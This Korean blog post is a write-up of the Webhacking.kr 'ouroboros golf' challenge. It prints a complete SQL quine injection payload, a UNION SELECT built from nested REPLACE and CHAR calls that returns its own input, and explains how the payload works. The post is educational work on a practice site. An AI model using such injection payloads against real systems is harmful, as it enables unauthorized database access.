Web/Webhacking.kr

Webhacking.kr Challenge ouroboros golf 문제 풀이

jh117jh 2024. 4. 21. 17:08
728x90

 

 

이번 문제의 조건은 매우 간단한다.

pw파라미터를 받고 해당 pw로 db에서 pw를 가져와 입력받은 pw와 출력된 pw가 같으면 문제가 풀린다.

또한, 필터링도 . 말고는 없다.

 

그럼 pw값이 어떤게 있는지 확인하기 위해 간단한 쿼리를 입력해 보면 

 

아무것도 출력되지 않는다.

혹시 pw값이 여러개여서 그런가 하여 limit를 입력해 봐도 아무 값도 출력되지 않았다.

 

그래서 처음부터 db에 pw값이 저장되어 있지 않다는걸 예상할 수 있었고 union을 통해 확인할 수 있었다.

 

union을 이용하여 pw출력값을 우리 마음대로 할 수 있지만 쿼리 자체의 입력값과 pw 출력값이 같아야 문제가 풀리기 때문에

문제 풀기가 쉽지가 않다.

 

 

이처럼 "를 이용하여 'union select를 출력할수 있지만 이렇게 해도 결국 입력값과 출력값이 같아질 수는 없다.

 

서브쿼리, alias등을 이용해 계속 시도해 봤지만 도저히 출력값이 입력값을 따라갈 수가 없었다.....

 

검색해 보니 quine 쿼리라는 게 있었다.

quine이란 자기 자신의 소스코드를 출력하는 프로그램이다.

 

이것을 sql 쿼리에 적용한것이 quine 쿼리다.

 

우선 정답을 보면

'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")#',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")#')# 이다.

 

처음 코드를 봤을 때 이해하기 어려웠지만 차근차근 뜯어보면 쉽게 이해할 수 있다.

 

1.

'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")#',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")#')#

 

첫 번째로 출력값 부분을 보라색으로 표시하고 자세히 들여다보자.

2.

replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")#',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")#')#

 

우선 안쪽의 repalce부분부터 살펴보자 "union select replace(replace("$",char(34),char(39)),char(36),"$")#이라는 문자열의 char(34)char(39)로 replace해주는 char(34)와 char(39)는 각각 "와 '이다. 즉 "를 '로 변경해 준다.

3.

replace(''union select replace(replace('$',char(34),char(39)),char(36),'$')#',char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")#')#

 

이러한 형태로 변경될 텐데 그다음 replace함수를 수행하면 

 

'union select replace(replace('$',char(34),char(39)),char(36),'$')# 이 문자열에서 char(36)"union select replace(replace("$",char(34),char(39)),char(36),"$")#로 변경해 준다.

 

char(36)은 $이므로 $자리에 초록색 부분을 넣어주면

 

'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")#',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")#')#

 

이러한 형태로 완성되는 걸 볼 수 있다.

 

뭔가 익숙하지 않은가?

 

바로 우리가 처음에 봤던 정답과 같은 형태를 띠는 것을 볼 수 있다.

 

즉, 우리가 출력값으로 입력했던 보라색 부분을 연산해 보면 입력값과 같은 것을 알 수 있다.

 

replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")#',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")#')#

'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")#',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")#')#

 

 

 

처음에 이 풀이를 봤을 땐 풀이를 봤다는 아쉬움과 씁쓸함보다는 이건 진짜 풀이 안 봤으면 못 풀었을 수도 있었겠다는 생각이 먼저 들었다.

다시 한번 sql injection의 새로운 유형과 풀이에 감탄하게 되었다.

다른 풀이들도 한번 찾아보고 확실히 이해해서 다음에 비슷한 유형의 문제가 나오면 그때는 오직 내 힘으로 풀어볼 수 있도록 내 것으로 만들어야겠다.

728x90